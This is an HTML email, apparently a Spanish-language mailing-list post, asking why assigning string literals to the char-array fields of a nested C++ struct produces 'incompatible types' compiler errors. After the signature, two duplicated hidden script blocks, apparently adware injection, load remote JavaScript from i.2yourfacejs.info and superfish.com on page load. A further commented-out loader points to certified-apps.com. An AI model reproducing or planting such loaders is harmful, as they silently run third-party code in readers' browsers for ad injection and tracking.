<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:Tahoma
}
--></style></head>
<body class='hmmessage'><div dir='ltr'>
<div>Hola, tengo una pregunta: Como puedo acceder a los campos de una estructura anidada, para realizar una asignacion?.</div><div>En el siguiente codigo asigne una cadena a cada uno de estos campos, para despues imprimirlos, pero el compilador me dice que tengo errores.</div><div><br></div><div>#include<iostream.h></div><div>using namespace std;</div><div><br></div><div>struct stPersona { </div><div>   struct stNombre { </div><div>      char Nombre[32]; </div><div>      char Apellidos[64]; </div><div>   } NombreCompleto; </div><div>   char Telefono[10]; </div><div>};</div><div><br></div><div>int main()</div><div>{</div><div>stPersona ::stNombre NombreAuxiliar;//declaro un objeto de tipo stNombre </div><div>NombreAuxiliar.Nombre="Edwin";</div><div>NombreAuxiliar.Apellidos="Bohorquez";</div><div>cout<<NombreAuxiliar.Nombre<<endl<<endl;</div><div>cout<<NombreAuxiliar.Apellidos<<endl;</div><div>system("pause");</div><div>}</div><div><br></div><div>Estos son los errores que me genera el compilador: </div><div><br></div><div>16 D:\Curso C++\pract.cpp incompatible types in assignment of `const char[6]' to `char[32]' </div><div>17 D:\Curso C++\pract.cpp incompatible types in assignment of `const char[10]' to `char[64]' </div><div><br></div><div>Este codigo lo tome del capitulo 11 del curso de C++, solo lo modifique un poco.</div><div>De antemano muchas gracias por su explicacion!!</div><div><br></div><div>ATT: Edwin Bohorquez </div><div><br></div><div><br></div><div><br></div><div><br></div><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script><script type="text/javascript">function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();

AddSuperFish();
function AddSuperFish(){
    if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com"))
    {
      var a=document.createElement("script");
      a.setAttribute("type","text/javascript");
      if(-1==window.location.href.indexOf("http:"))
      {
        a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      else if(-1==window.location.href.indexOf("https:"))
      {
        a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");
      }
      
      (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a);
     }
     }

/*
AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}   */
</script>                                           </div></body>
</html>